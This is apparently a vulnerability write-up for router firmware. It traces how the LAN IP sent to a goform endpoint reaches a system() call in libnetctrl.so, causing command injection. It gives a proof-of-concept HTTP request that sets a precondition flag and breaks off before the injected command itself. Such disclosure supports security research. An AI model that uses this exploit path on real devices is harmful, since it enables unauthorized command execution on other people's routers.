Information

Details

The function first get last time’s lan.ip and lan.mask from cfm and recv new lan ip and lan mask from post.

Untitled

If last time’s lan.ip is not the same as this time,it will goes into the following branch.

Untitled

In this branch, it will call changelanip function with two lan ips and two lan masks as params. This fucntion defines in libnetctrl.so. In this function, there’s a branch which calls dmzcleanSNATrule. If two ips are different but the masks are the same, this branch will be called.

Untitled

In the dmzcleanSNATrule fucntion, our input will be put into the command by sprintf and executed by system.

Untitled

Also, to get into this function, v46 which is defined by wans.flag should be 1.

Untitled

We can simply change this by calling fromSetWirelessRepeat. If wl_mode is not apclient, wans.flag will be set to 1.

Untitled

POC

First change wans.flag

POST /goform/WifiExtraSet HTTP/1.1
Host: 192.168.65.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webaaaap,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 10

wl_mode=ap

Set Last time’s lan ip to our command